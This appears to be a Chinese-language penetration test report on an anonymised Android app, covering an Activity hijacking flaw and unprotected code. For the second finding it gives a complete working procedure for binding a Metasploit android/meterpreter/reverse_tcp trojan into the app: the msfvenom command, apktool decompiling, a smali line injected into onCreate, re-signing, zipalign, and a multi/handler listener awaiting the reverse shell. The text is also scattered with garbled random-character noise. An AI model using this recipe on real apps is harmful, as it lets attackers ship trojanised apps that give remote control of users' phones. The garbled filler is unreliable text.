原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

admin

3 ~! a; T9 h* A

) W0 E9 X: d6 K- G. r
( B9 s: p1 M1 L( S) T8 |; i. g1 i 2 E: _! o' Q4 y# T% M5 K

4 y! s: ?! U! F1 q* W0 i5 B

8 V6 g# [/ R/ g: o: q( y# a- b : o& L% N6 E" s* l 文档编号：                ( g& M7 `; {+ n; l : `+ x% v# p# e& j/ }

1 a4 U: [6 `% w! ?. e' L$ S/ @

/ P' D) F# t% P + n0 J/ d# q. E0 B   * ?6 Z# A3 ?2 b* t: E, ~- y3 o. I

  ' ^2 O) Y5 k6 S) t& g0 ` 5 X% {1 R- i) L. F

" o( K- J; p- h0 M

e) c* G& B/ g' s7 w/ v  

+ n# q1 }+ R0 B1 `, ?" }" g

 

e, ^2 @2 q& R+ i7 G9 n 3 }' M6 h* M6 r6 ~0 y }  

6 s2 A, {# h. p 7 |5 g# }$ R$ Y2 ?

# ^6 j1 g7 O( z, Z. D0 x 某某某APP渗透测试

$ | A3 D3 ^; n 0 d. x5 k2 { X# p" s

$ r) H, }" h/ t. z" {( A1 {7 Y   + e8 f& S: j" ]

4 `& {& i$ x4 B* [/ I4 j

- O4 }+ j& Y6 w7 |  

+ Z( D1 ?% ]; S1 F

O8 y" u4 g" T0 ~/ M - g' V' t1 g' D- ] x# n/ v; E   4 P# A8 `) D! J) \ b* d+ Y

1 p L/ g& ~" [4 e

k- c7 f' d1 J, y9 J   & m# O8 S* t% u# z6 K9 U/ |

) W( P# H4 `- L4 i3 k" b

( O; p6 H7 ` i! H 技 术 报 告 $ ^+ H* I& e) U2 D2 G( o5 K8 V

, |6 } g0 o* F* E) v0 c) ]8 F ) J& y" f: |4 A2 q( ]/ d. r" U

; q& B- K8 F5 c9 D6 O F$ J; Y   " u. F7 A* I2 [/ y5 h3 I. l# C6 u* Z

4 K; U; K9 ~9 J# ]

  ; G) _! V# P8 m& ? L$ q. b * ]' A) T' F. t

# v) ] L- Z8 T! B; ^) J

  " G' A$ e* `/ B8 t) U6 f! F

5 o8 z: c3 e4 K1 L9 E ( u# j: R5 G) i4 V! o) D

- M$ ^+ O# v7 U   : H& H# I3 N" W5 C

. ] ~2 {* U% o9 ~5 U3 o 8 d0 Z$ b' c3 o [ h' w1 q, {

  : p4 T( j* ^* X. s# k 2 h/ c. f! c+ m" n+ d' }

F: L" i- L" Z3 q+ S% S

1 s1 n( {- _4 F8 D- s* @ 2 F+ M* L- `) l$ b$ @   % g; F V: f: ~5 t' U- S

4 m& e# p: {3 d) V1 L0 n

' u; q+ y1 f0 X, @   $ j' P _9 D) e, V8 d& N

$ Q; S) j; I7 D$ @; G; I9 C1 R  

1 R. [3 E1 Y' Y/ }$ r, ] ) z0 M( P. k; f* E

1 Z+ \' y ^0 k' U8 k   z, z2 c: U1 _1 W' b+ s

' s& g$ t# Q& G6 V 8 ~7 m, A( \$ k' y/ O" O

  + ~3 M9 m& N1 u( }) X& i1 s- e' { , ^3 g+ i2 [% s* P) n

  * v( z2 m. c1 d* \

0 n# b3 g* Q# i# N: ]8 @

) s0 d2 W+ s. u3 ?5 P " F- E1 v0 W _* e8 F/ W   + m# _# s% Q' H# b3 }2 k. e# g& k

( W/ S3 U9 |- E( _

  , Z9 R; Y9 d4 }$ r6 e5 [: w) `. G V: E

4 A% P/ u; q! G* t% k0 K

* E( Y3 s. _ i1 B0 P3 k, n( l- ? ' Z# ~9 b, l$ C) G   9 v4 F Z$ `! e

. o0 L6 \& K4 g4 V9 P   ) t& y! _; s" n& R8 R) g 7 {2 f+ H9 e" u8 }+ u( f

& h1 c7 p: [9 ]   4 q; \5 D t( r8 W' G8 L# j 3 e$ V( s9 H8 t- Z- s0 }, s

3 I% Q* B9 U" r6 I# p- C   ( a) P. p0 {! ?6 r L. \ h, p6 r # ?7 [8 \1 b; G9 ~% [* T! ^

- O$ }9 }& l' P4 M. M " O& F1 F/ w1 @( D   * I; |+ w2 Y9 e% O% m 8 t# X' y0 u, E' j; s8 W# |# o

二〇二〇年 ) N- H! {9 t# C+ o. J$ G: k$ m

4 C5 [3 R9 n( R2 j! Q5 ]1 a1 s

- d' u- ^( `8 U% @ + v/ C* x/ Y8 {! M3 p2 e
- i9 k- Z3 e& {& z# h! @% P/ H0 v/ F

# ]& w' X7 C" F

9 T5 e3 n& F7 ? 8 X% E1 U1 n9 M1 V

- G) F1 d0 E' [9 H- K

% {8 O4 ^( D8 I' G5 } 目 录

/ u5 `" S: ]0 H2 I) e& {- u

  + U- @# O, |+ \4 X! J, g% E , L* K# _* r n6 x

6 u3 i G3 u R$ t $ n9 W2 t+ }' u

8 c; f& P6 l9 r0 i, A$ d% l9 V ; j+ n1 c9 e3 T b- u 1 概述... 3

9 P7 @+ X g# ^; M+ s # i. F7 r3 U1 K5 A

2 {/ a; [2 ?8 i 1.2测试时间... 3 : D: K r" C9 P+ ^6 B

. b' d% }6 u7 e" I+ {- s

1.3测试对象... 3

1 c) H$ s1 O4 b5 d; _- p: P # s7 s, I; u b8 Z* N$ H# D9 g

/ y1 q! @# |: k0 {9 ? 1.4测试结果... 3 5 R5 T- H( K; M# c+ {, u4 F( X

' T/ ^' \. d/ X & d' H n/ V) D1 g

) a5 t; o1 v, d9 K3 {9 S1 x; s 2 检测结果... 4

2.1 某某某... 4 7 {9 I6 O; v8 ]- x" X

# C5 j2 p! U6 v$ a: Z + K" ~+ i# x4 S

! w& Q4 }5 ]9 E) x. g 2.1.1检测目标... 4 ; G3 y2 X0 P" R8 j* F

+ v m$ Z% P; V) ^+ i# E 2.1.2检测结果... 4

* m1 R3 }! u) V) P$ ?

2.1.2.1. 4

5 ~3 y; ~0 ?: O& ] 2.1.2.2. 6 : r; v+ _0 I4 \0 \1 A

. y/ v: R$ D) K5 y

; g% \+ j, o% I! F : p- b" q. \! G2 W- ~

+ M: q0 G# R$ J" W- U4 B + @ K, p& d. b
?5 F/ Q5 l+ h7 P8 I- H' X

1 概述 * r8 A% i9 G0 R 8 V- F( `0 |; g! k1 F: [' A$ d0 f! Z

1.2测试时间 ! A! V$ O3 V3 ]7 j9 D 1 q, B5 o) W: X5 D

- S2 D5 F2 C8 y R5 _5 y8 `8 z) Z$ [ ! p7 @( f+ `% {( ]: \+ \/ }* e" f4 \3 n3 z/ X2 A9 a4 k/ X1 K6 j4 B% f+ U3 O- M# `/ Z$ a! }7 m& {' d+ \' |1 s7 A4 {8 E. C" K h) \5 W' ?. Y+ {# r4 R3 Z& {/ |7 e9 L% q6 O* F9 \' X, p5 |0 w! d) s u O' D/ }7 h" W* |1 k$ {8 K+ s- d" o6 A, t( a/ Y; r3 O* L5 @% S5 q ~5 y i% L! C* P4 }- \/ G9 \& J% R [& G& `5 B* w( G. S1 g' h2 q6 R. B7 D8 ]( ^' h) M4 v1 s* W& P2 z- b$ a7 \* k* p$ V

) Y# D3 P8 v! ?5 {+ T & m" _4 T0 W3 _$ Q0 v) k& U" b 渗透测试时间 , j& R c+ z6 j7 M6 D& v. e, ]8 } 6 x# J( @7 ~/ h& m) e; |0 R6 j + n- R& t. \3 ]( f; ]1 Y ; o. I$ w7 L! U- k$ Q
2 \. T) {3 \7 d+ p : p4 Z. {9 k+ @# w( j" J0 z 8 z0 A) m6 ]0 i . L$ {5 E. `6 h0 u* v' ] 起始时间 6 v4 L3 |' L. _# s- T ) F3 {& `# ?: ], }' S; r2 F+ A	" X" O" ^1 k/ a 7 n: L. }2 d# q 2020年4月6日 5 r* k4 t! N0 c |! x4 H 5 Z3 o& _6 j2 }1 W3 R% G! ^ 2 o9 a; V9 a8 i0 N) ?5 i5 g, x: i
6 F, s' b$ R' ]( Q1 x 9 o2 J) l0 O6 `5 M" A) S 结束时间 " }- B# P- j l9 m1 L/ m & e4 K, C% g# N' j! {4 F3 ^	6 X6 c" q6 m* n; i! [4 w ( J$ z w" H5 R5 U" ~' _" G- _* K 2020年4月9日 7 H6 G4 x8 `' H2 ?* O/ m 7 M9 ^% V2 d3 q" G A

, X5 \! G6 T C+ T4 c- P3 w

B1 A9 H' d: M0 s- Z, L 1.3测试对象 4 r8 m9 L, M7 r8 V) p* j+ w9 O

9 s3 k' o+ l( C* H" `; j1 ] 此次测试目标为某某某安卓APP进行渗透性测试，APP存在安全漏洞数量如下表所示： + O! r3 ~ K( L

1 h% h. }$ s8 S6 Z% M9 `4 }5 B ( M3 } p. \4 A- Z. p* p

表1-1 检测对象 # u3 Z) ^: p s: e; s" Y! G. _ ; ^* J0 n& ~1 _8 }4 C

4 p& p6 _' w; o r/ A" H7 ]( d& ^" ?7 R$ {7 i$ ?5 j9 |/ H1 W# J: `* o, `; |+ s% ?: x3 N& V1 I7 K$ T9 r9 j* c2 N9 M7 H2 o7 }. q* }1 g: V. x9 Q: `. k" V) S& N/ L' t! c1 o* O' t! r+ K1 F: g2 ~, Q3 ]$ v2 J3 A$ T4 _- m |. q* P3 h1 z. b" H9 V" w5 {! Z& ~+ |9 x# k& m% e, c+ P4 m0 b w! R% j, v

6 h P3 q8 F* j" f$ G* Z # l Q) F: Y& I$ N0 v- f" J; M 序号	0 S' l: R( G( X+ B* m# R8 H1 r8 M 测试对象 @8 N3 d6 T) e; u% H0 ?0 ^ X 4 ]3 W/ A8 P. b0 I7 j! @ k/ |: a 0 G# g3 o! g9 r/ h4 M* c; R) }	! B* \, o9 |/ t. q& r$ `% `" t! q ' ]: w9 w# X% i1 K P, h 3 F/ S9 T* J1 ^1 Y 测试地址 ! d; @5 ~! h# k2 \" k+ f+ ~5 X	( t0 J) w6 Q# `5 d8 _# e; F; s5 ~8 a 安全漏洞 ) {$ Q2 a) q' R8 w* r0 H6 M' ]9 f 5 h G7 c) ~; a) n # l5 _' @) S; s& K
3 b5 G' G& Y! }1 p$ B& N : A! O1 e8 n6 J- ^) p- [$ ~ 1 4 w" v+ A, }8 Z + h+ ?& S# q6 H	+ [" a2 |/ f* V, f # w) D, \8 P. E' \( H$ h c* m/ U1 q- ~ / ^" ^+ T0 f% N4 ]5 A& W 某某某安卓APP $ E8 l) {, e: s- M. y) l * @+ c6 v t3 l; @4 r0 b4 w	- c* h! X* q0 e3 K . G. H% T( B. X: y' _* y6 [ 8 ~- z$ D. m5 H! L	: Z. F# Q$ F6 O6 ?* k$ h3 ^ " q1 `1 G0 Y0 A0 ^8 b- j 2 " p G% n+ d1 s$ K% m3 W

6 K( q1 p L0 A/ r

& ]" S1 ^1 j( g 1.4测试结果 * _, A# y" G0 J3 F

/ `* a" t. H, |& l 2 A9 b7 D+ \3 N9 U2 B" q9 C1 E 在本次对某某某APP透测试中发现，APP安全防护存在一定问题，主要问题如下所示： ( q7 v& E+ x5 ^2 C- P

! v8 y" R- T" y9 I4 Q4 Q1 H& H

" @# d5 a* G) N* V6 w3 l3 I   * X! S9 T3 c! I! Q& N0 S' q

% Q3 v) m1 Q6 r$ f. ]4 d

5 D& r- e7 o; k2 g, M& \ 9 `: X/ P9 |, S/ W: S5 f T' Y" c- q) p8 L( G2 x4 ]2 S& K6 k0 S* p! ~' G7 [9 W* `5 B f+ ^2 o/ p9 @ U; R# G: m; w7 ~$ { o: d. ^7 c' G5 u+ a% [. H" {/ T& h' q% k# |7 L& T7 P0 E: e, @ R% g5 L! c) f& c7 e! ^7 q$ A, }5 H' P: i: E' {# \% C6 j# x+ ^/ p# q9 x: p3 _) P# e- m5 t, s# G j9 K$ B- N2 ^: {" e) ?& |6 r$ t, t# k3 u* _* S3 d Z& U' {0 i, `8 B" S- n- j0 n; j/ n7 U9 o6 E& {# r0 ^' Q, b2 |9 X/ N+ M9 q' ^+ \% s& T4 R# Q0 t9 |% h$ ?. N& v+ k. s- N9 M K0 `7 I6 @" J# ^' U, ^2 d+ q9 [/ w) v! e7 y \- ^! ~& m# s* _3 w" m" A' Q& L3 r4 i, Z$ D" \, p- Y5 z' S( R+ R6 |" Z+ y4 g# W, p& W" i, N# }- g) D9 e+ a/ m2 W/ m- \$ H9 X0 Y+ a' n* d3 [% h3 t4 R) ]) w8 y0 c) ~% x+ O4 s/ I7 v: ]4 u8 K# S. P' r' k/ a2 N* _& T1 u- F) m- n2 D Y4 p; X8 w& k

5 Q5 \9 I' T) _( V 3 m5 G% T4 X( C. ^$ |0 G 序号 2 \+ C( u: O. `2 S ) D; ~) ]5 b/ i# Q) _$ O	& n2 E2 s1 Y- g( H 1 s3 r" _# V& l. e4 O2 ~2 ^ & z& g9 C; P7 V" _! Y; l6 l 系统名称 ; _( @0 z, W2 O8 p 0 T1 F( b! z5 z) f ~ 3 w0 b. _' X1 b, m	1 O6 W7 p3 ?8 d9 E( r 9 i9 y4 a: r0 D9 S% D: E# L) D ) p. z* i+ ~" }1 _: m & Z, d* k3 ?( a' [ 漏洞名称 6 m$ \% l& N: H& B& r3 N * @! V0 O3 d, g- t) o. x/ `, H	2 @$ p# c) S; Q+ q) [! e ' L. w. f: ?1 C3 n# k" A 漏洞危害 " S! T- e" }& X( r4 V/ u( e9 g! c	0 W1 q' w/ j- _& J) \9 E 3 H0 N$ `2 x b& v: A+ S0 G1 j 2 y! w3 g- [! c3 E: c % c4 f/ d4 U1 H! m; Y# S 修复结果 1 E4 s5 P* q) z; n
! ^+ A* f* N& x* i & m. Y8 K* |$ ~2 ^ 1 ! P- z2 y! c: H( J7 n# V* I4 }7 q * a; A1 _$ g- q8 M ! |# v9 w/ }, u5 v0 c3 T8 h* v	% k& o& c# v2 s0 D$ q8 b 某某某某某某APP ' ?, b2 t' [" @' t; M4 T 2 g$ H. b; l) n5 f $ H+ \8 e6 }6 N# ~7 k8 M+ d/ S: p	/ G7 b/ F: v6 b, }! Z5 | H) } + s& F. M) |, J5 c- ] Activity 劫持 2 i9 M# S2 b5 w% x" Q   , R& Z: j* o3 c2 ^. G5 L, c# G	0 P: I! H9 X* f { q. s 5 ?. k6 \' b2 D6 P9 { 高 8 I3 V3 T5 L' O 1 ]6 e. C, |# \+ d3 `1 _	$ J A r5 f8 g! k: J6 u/ X " P) ?5 H; E$ T- X, D $ g9 y6 N" \: ]# J4 \9 q5 M   # k9 ? m7 Z8 ?1 d; N - O4 X1 c; K5 ^* M4 Q : _7 t6 v- B0 O) ^) J7 O5 C, V
' o& C( K4 z& f C( e/ x 2 2 W: a! K- J6 g9 P- E , X- R; [8 [; f- }. `5 } . Z- Z0 Y" K1 D/ _5 I/ ^ 1 b. f/ w% ]2 z( @9 a" m2 y/ e	) Y- b/ A b' D- m. J C- V1 c p , Z% w$ I/ i/ M. `( H0 ^$ q0 f 1 j1 P: r- q1 j6 f 某某某某某某APP ! \" n! [6 B6 i; g% u $ [# }( ^* [ Q7 j" { ) a6 V0 v$ m8 v9 `	3 Q2 i+ z* w2 B ]9 h 反编译二次打包捆绑木马、篡改APP代码 4 i' x6 R: A7 H2 j2 @: g! c . D& T/ S$ b' \1 D5 y/ ^! C: |) t& {- m( S + i: B, O! |( N& S5 Z e 2 o/ U* P" {9 p: c; K+ D	* t6 x' |, d$ ~! _( ~! [ 高 ) j# H. U: |1 E0 k	7 r& ^5 M. n4 ^$ G* U   5 ~' u& Z5 f$ _3 f- W9 o/ w " A/ B& }$ T) z- N+ M

. f; S+ ?. v9 I

* b2 a v% m, H' v6 N ! |2 a ~0 G/ N4 H   " L& c; k) C* ^5 v9 i D0 m5 Z: G- p" k/ `

8 M4 o7 ~1 b. b2 h 4 g( k; |. _3 |; A8 N! N) c

% E0 v7 }7 B+ ?, K 表1-2 测试结果 # s+ e9 s9 g( T/ Y

( a) X. R, w+ P1 E

& [9 r% w9 m- N ( H7 M9 h& t' }/ r   4 E( C6 F/ o3 X) W " }% ^) {& F6 Q

4 z, K- S$ b! M5 k

, o M* y* {* |1 E8 I) S$ W / g7 ?. [/ C; O" I; B: r 2 检测结果                    & [ j3 y. w$ s6 z+ X7 F3 ?" ]

' `. l9 Q+ \: A

2.1 某某某 ! p; ^- S1 o" U* S( I

$ t' X' r* ?$ ]+ j 2 f% d6 v( g ?

, W- K# J# x" S; k9 A 2.1.1检测目标 ' X# ?: w" T& N' t1 N4 q h

- ^( a' }! U+ ^% C; }6 W' w + O8 P9 w2 c) z 目标地址： 某某某某某某APP ( B: P U8 Z8 M3 y+ T" i i( w 4 ]& P+ I6 R, a; p* t6 L! }( e

# V+ f! ^' o9 W5 E) _; y

) z; Q3 k' [% l+ b9 ~+ Q 5 P* K) ^/ Y0 U* k( e. K* h( e% N- J! U 2.1.2检测结果 " I }: I$ n2 r$ ` 6 m4 Q) U, t7 }$ @

+ n' v% @4 L7 c# ^ / R: u1 M2 g. `" Z

! o' {3 Q; |9 d3 ?" K& p 1 h; o# o, c- B- |7 a 2.1.2.1 ! }9 ~1 H# P3 \- X% E 7 s e: F& K5 g1 C0 }" D# i

( W) j6 U5 N/ I& X, d9 K

漏洞链接地址：某某某某某某APP ' }! \( q3 W: ]" P& N9 V

" R- d+ Z7 }+ |" b7 b % d ]$ h( [9 j

 

" }7 X) f8 p ^+ U2 C& P% Q2 d' f7 i ( R; U3 a) O9 i4 H$ ^/ a: {

: p- }" u# \7 S2 u 8 `) f/ U4 R, q+ {) k 漏洞分析及取证： $ A8 t- N# p5 f! d

8 Q; |! X7 r1 ]: K; ^0 }# ~ g

+ I1 l8 c( }. |1 o( k                  通过androidkiiler反编译，发现app未进行安全加固， Activity 为com.minivision.cmcc.activity.SubActivity可被劫持，复现漏洞如图： / S8 k1 r: X B, r: [ 0 x" A% W: Y* ~# N5 Y! j

$ |0 Y& w8 M$ @ 4 @, |- B# B m0 l* q, e& s     

8 i" @8 I, i# J4 t5 \) v/ E

                      6 g# q0 H5 p- }* h- Z* y

; d; Z+ o8 e9 d

% ?0 h% z8 q V$ F2 m( C3 y ! |2 |+ W0 _6 q1 S8 n: L) j+ k1 f

. h! f0 |/ R: _6 W A , i" P1 E, a7 u: J8 E" I

9 s; N0 t/ T. p6 o, ]$ B7 b 9 M! K* x7 J2 a* c

) Y( g, D& h$ o M. V$ u+ [ * K& e2 o: ~# C$ j0 W5 Y ( A- C: [3 Z9 e Y

( f+ Q6 ^# i) K" V

! O2 |% p0 s. m; h' O$ O$ r/ @ 漏洞危害：高 $ J# ?: u/ M. K% C* t" i- M; T* e

" i1 Q8 q2 {$ a; M& h# D$ o& a

- [: c9 h; i5 ]" p: E& Z 7 b6 b* a7 y% E/ i1 {& E" H1 `" @0 c, S: S/ e4 P: Q: F0 p% K/ e/ u6 f P4 f% t% P; t& f: \, _7 b9 `+ n: {. M+ v% H" I- N5 A& J6 W. F C# a' ~/ h( @& {5 j; [% e7 Q5 N" G! A7 m2 j3 y0 k+ O5 a$ \! a. }- u" `' K$ Y% X4 l2 E& }/ d5 k& C9 A

( Z) ` d, v9 [# Y8 a 严重程度 6 ^+ E( Y1 X4 O6 h( n , p) Y# T4 O2 k/ e6 N; n. t ! k/ X |* _% X k) L6 S7 @ : E1 V/ @, O- I* o# [2 E; \	: r# n- r. |/ L5 [) t, c; J5 Y 高 ' _$ }7 D4 j: A1 h. w C6 x. I& v9 N	" w) J& ^& i4 M d/ g% U6 e- e+ D& }% | 7 N' H0 K( N7 r2 C4 t 9 S: n4 v* G" \9 }! S" w4 q' c9 ^ ■ : E2 D3 v" h* y+ M' e( f ; ~" o: _+ O! W3 K1 d5 D* ]/ I	' @" W: A! y+ S, A! ^- { b2 W, y- |& e x0 Q8 | 中	+ E% O* I- R$ f- A9 L" j! E ' @4 x- Z9 h% S: o8 ?   2 j' H" L1 R" o1 d) c* O	7 k. Z; C6 z3 Q* j& y& y$ y' k( n $ [/ ?; }8 g8 `; V! c$ \ 低 3 d/ I$ S5 B& R6 }. p+ t" X# C % u( A/ X% ?9 ~# B& V	) J0 m: T/ j6 }3 @: I . i/ ^$ O: R' C   6 B( b& |8 O' h* s; b

6 q9 r k- p0 b( c$ |1 f5 w& t - R% Q- x- C! j' d; f* r' a, x

& C4 L$ z F5 t0 q' i" o3 C, Q7 W

; b) ^; j0 L& p2 R, Y G  

: o. J A) [2 Q/ {. G! e1 T! q 修复方法：在 APP 的 Activity 界面（也就是 MainActivity）中重写 onKeyDown 方法和 onPause 方法，当其被覆盖时，就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的（触摸返回键或 HOME 键），如果是用户自己触发的则无需弹出警示，否则弹出警示信息。 - d7 I$ [1 A$ r( k( _' J0 C

# l# ]1 {! Y6 L; i! P: l0 W

& V$ E) ~8 q2 D! U3 C          

# x) ^/ f7 O% x0 R( X

7 Y' S- `9 u4 n: e4 Z   % x- x, E- m x2 k7 M7 [9 B

* _: T, R5 S7 m) W, Q7 g

2.1.2.2

漏洞链接地址：某某某某某某APP 3 m/ `# }" ~: g Y

; l7 r2 \4 o+ r

漏洞分析及取证： 8 z& K5 Y4 }+ Z; S6 ~, d

v0 z& X; l+ k4 d- T

/ Y5 x0 e1 Y' b; U; v, g% k 6 B' ]6 U1 a1 @1 J, R5 S                  通过反编译，发现程序未加壳加密，可直接反编译获取源码，经过测试可修改app代码捆绑木马或者植入广告等操作，复现详细方法如下： % @/ u& G( y% h' a7 s7 u

8 D, S8 q, n" A

用Metasploit 生成木马 apk ( @, M" i: Y6 h: q 9 B8 T. d. L- O

7 f& B+ l. B3 k% }0 i; Q5 z

\/ \* ^" I6 j% X1 x; n ; ]6 G5 s) T. p2 U8 M& P msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk 7 v( \% {% C/ L; c+ W! v: }

% D! G- V! I& P' ^ 反编译目标apk和木马apk " k$ U# K1 ?; S4 p* w' B0 u ) ^6 g- F$ v5 j9 s

apktool d target.apk
, ?8 Y! s+ }! `& a2 G3 f" K apktool d cockhorse.apk

3 ^, y0 C: b7 W# Q5 j, ~$ h

9 d: m4 X' ^4 z R9 y' A" i% s 木马 apk 注入目标 apk 7 n. q$ x; `' a8 b% Y! ^. b3 L 3 I0 M, X: q# h. D: l; t2 d

& C! N. ~9 H% S- Y

6 C1 k, p9 w% [ F+ {5 \/ p 2 \/ Z0 v4 ?) x. ^' [- @" x 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件，并在 onCreate()方法中添加如下代码：
, x. S! T7 h2 `$ v+ Q" ] invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V 9 Y- q2 J6 L; k) a* G* e$ n. p) q4 P- M# F2 p

. ~# `" n' ?* [/ N6 G, i$ E

3 F; B' B6 v" g/ [ % ?6 j/ ^" \* Z Z- |) ^! K8 X4 n0 C 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中，去除重复 - {# U! W/ v* _+ d. | ( Y# r1 c" I/ U

" C, n' C: F1 r9 T1 S

将木马文件的 smali 文件放到目标文件下，例如 com/metasploit 文件复制到目标文件 com/ 下 4 F) q9 D8 {$ M8 ^+ v+ x; s

2 `. }' g4 M" B; F2 u9 l4 e# }

) O; u: h+ @! [5 N5 G! E. U* a' I $ M. I& P* e6 x2 e( d1 @ 回编译生成最终 apk

1 f# I3 r! }' F# R. X0 c2 R* T2 G

/ C, r- Z4 Q2 g 重新打包

7 [+ @9 p `$ x& b4 E% m7 d! T4 P7 o apktool b -o repackage.apk target_app_floder

1 d" H% {( u0 w% s3 u/ \; }

创建签名文件，有的话可忽略此步骤 & |# _! b6 k; L/ S* \% \3 u6 |

/ G$ n5 r! \' ?1 E: D. A% z 7 {% L5 b; I5 }0 V keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                * H$ [1 I5 |. r

! f& D J6 K% b" J, Y

; E5 M; E: ?& A7 G" Z) j( ] i 签名，以下任选其一

. {* `+ Y8 `" l0 L7 f4 m jarsigner 方式 ! S7 _7 d- m1 p; @' X

) o, K) I3 v# E8 O0 V% i jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname ( E" p X. O: d+ r1 I' j8 J

2 u9 r! b- z+ V( x4 l" q5 a

: r$ u) T6 p+ @ Y1 p0 W apksigner 方式

6 D4 Q/ X0 K0 l1 m) _' m- b

apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk

: m4 T5 W$ H! s3 @

) U6 t1 i* o- F+ [* n " n; Z8 D( c" A# e0 _! t 如需要禁用 v2签名 添加选项--v2-signing-enabled false ( z) I0 v: {& [# g0 m; j

2 m# [4 y) A3 i4 a; S; C; ]

. I% P' l, U9 q* ^2 W j9 S4 l- D/ D ?8 b' p5 A" ? 验证，以下任选其一 * b. [; M) s+ s5 [ k

# a7 ^- q! H2 a) q+ p

# P; d6 w e! i) L9 | jarsigner方式 9 z7 ^( G* M% J, J

( d- I0 ~* ^8 u% N( n# V3 }

7 M% L' x& [. X$ d. x$ b8 D jarsigner -verify repackaged.apk

" v: z8 w0 h0 M# ^

A! M6 V/ y! M5 v apksigner 方式 ! |' `$ ?( }$ x& ^' @$ {& u0 n5 h 7 ^3 }( ?: }" p

/ @* R# h* f) b 2 K; q( L- s x+ A

% }9 R) f, ~& v * m, P# T7 w2 w8 M7 f apksigner verify -v --print-certs repackaged.apk ) j& J; J# E, E& }

* k$ o& g" A5 Z) L" k

s+ A$ P7 b* C% ^. d3 J8 g# i keytool方式 4 r1 I: _0 h Z7 h! e8 J2 e3 t' g

keytool -printcert -jarfile repackaged.apk

$ R$ H; `! X7 |! U; ? ( Y, K3 T& t8 B' n7 I8 u

z, z# z5 {- @' f% W2 S 对齐 7 X6 L% L; B/ S6 P: D. Y5 P- v: K ; l( B3 A; Z% I- @1 F* X

- s8 ^: @0 h! r J* Z& p% b, T

( e+ I7 z4 o d, r7 G* ]1 e 字节对齐优化 - V [5 P0 X& m9 ?& q- C

: a7 i4 G, P6 g 3 ]0 p f `. `" Y! K) P3 r

$ }6 y! W. Y) c. |$ X& O+ B I6 D zipalign -v 4 repackaged.apk final.apk . Y/ u# G" ^8 f! v9 c% g; v) `5 W0 R $ p6 K+ P; Y+ C

1 V5 {3 r/ D5 M# H% O& a 7 Q! c2 P; o/ P3 K; Z

检查是否对齐 % r9 v- C0 }/ F* A7 w- V

; M4 K4 ~" Z9 Z& ~

zipalign -c -v 4 final.apk % P2 a6 Y9 n& k3 l2 r

7 k( U5 S) {. V* p( ] * O' ~9 q! O- ^2 U, l+ U$ g

) x$ v8 F8 M/ H9 X( T2 x5 S 注：zipalign可以在V1签名后执行，但zipalign不能在V2签名后执行,只能在V2签名之前执行

. G) H8 I' s9 r! [7 ~- Z4 u8 J0 n8 J 启动Metasploit控制台，配置参数等待上线 0 x- E: K5 Q. _8 Z& c

! q' i: d8 V2 t2 s5 g9 r2 a' \' ]

3 [+ y: H- i6 N2 U9 o7 ^ 4 U( W8 `! s: g) Z) _ 在终端依次输入如下命令

) J$ w; n# g# ?9 z 6 J+ c! I: r4 ?7 V# @

msfconsole # X4 s0 A/ _7 Z% l! p

. w. j1 _7 Z5 d% ^" O B, [

use exploit/multi/handler 8 T6 q# U! P3 n6 x

( T2 a, W9 y# ~2 d! m/ D2 ?3 c. s' ? set PAYLOAD android/meterpreter/reverse_tcp $ c g% [! \, p

( A& R# e" J0 v5 U. c

2 l+ b4 @. J3 B0 d0 [( K8 _$ b6 I ) @4 C" I3 U. k' P' Q- M! _* C2 j1 \. f set LHOST 192.xxx.xx.xx * @# T; n! L! u% ^* M

set LPORT 4444 ' n( Q$ ]8 A: w Y' d

3 u. G! Z# I! e8 W, c1 f) G : n9 l+ P; t" Y

+ E2 c3 i0 v$ W3 k 7 l' S% J' l" ?5 j- f% Z: S/ G exploit $ U( A) I, J. ]1 j

. Q3 I0 ?) a+ t3 ^0 f

之前我们把入口放在 MainActivity 的 onCreate 方法中，当启动目标应用进入该界面，就会连接成功，如下图：               ! A5 x# ^. m" B 3 X1 z6 l$ C: U- ^

: ~, W8 f2 h$ ^2 ~% Z4 D# m

$ |# V: R: @/ ~* h : M: n5 C6 z6 ~6 L" n7 w. e0 N7 g# s 漏洞危害：中 4 h2 b5 c! p) N/ s; n, r

9 p/ p, c+ E# N5 B

; [% x8 f+ x0 @7 b$ ~( T* V! P# ]1 J6 q8 y( M$ L5 b/ Y! G/ K d2 [- M" y/ f! e; T4 H1 c0 K1 n: N1 g) ~% v) x1 R) l, ~; h: ^) X' U9 y* r9 N( \- Z8 s; Z: P3 o& C$ C9 _2 R5 N2 i% ~6 H' [/ ]- o9 |& f& C9 z4 q8 g# c8 m9 B7 o [1 }( c! l3 j5 y% N. `! i) O& G9 o1 G2 }' G1 U& k6 g d0 T) w' P* \1 y8 o% H5 d+ C5 `+ q% O. @' S" e8 Q+ H' W" Y1 o k( x8 a; g6 @6 |

. @5 i. L2 q1 A- F7 N 严重程度 6 r" q* Z5 Y( k1 l- M0 C. J% z	6 ?: p1 S+ q, K- ~. v. g ( }1 P- m$ |3 k2 v 高 % t$ T9 k( \3 L8 b3 F- y 1 W/ ]. [. \8 E3 I; |; }0 D# M1 b* X : b: q& p5 R9 G% z, O	* p O6 J$ {& b7 {% v w7 u! Y6 \% B9 }# S: j7 ^ ( {/ H- N& _" ~/ M ■ 0 v4 Z% |1 m. s, @ w0 R2 J3 d : r2 S1 n7 T6 B+ ~7 q C* { ' p# c8 s9 h: S3 s. u9 j( ?# W+ h 1 Y8 @" F* h' b. H2 a9 ^. u	. x+ B% L8 X3 V+ c& s, R) B- Y 6 g4 U: h, O# g2 k5 b- a 中 3 d0 J& a/ d1 X% J) n - c' u7 ^) h. m- @0 Z	8 }$ m* Z( j2 W7 A/ l4 e3 Y) [7 m - @* p2 F. s, {: f( q : y0 E0 e" {6 O: z s 3 I. B/ B5 \' x! f; {+ Q3 L$ r   5 E# p+ F( V' g2 @ |9 c9 ~+ 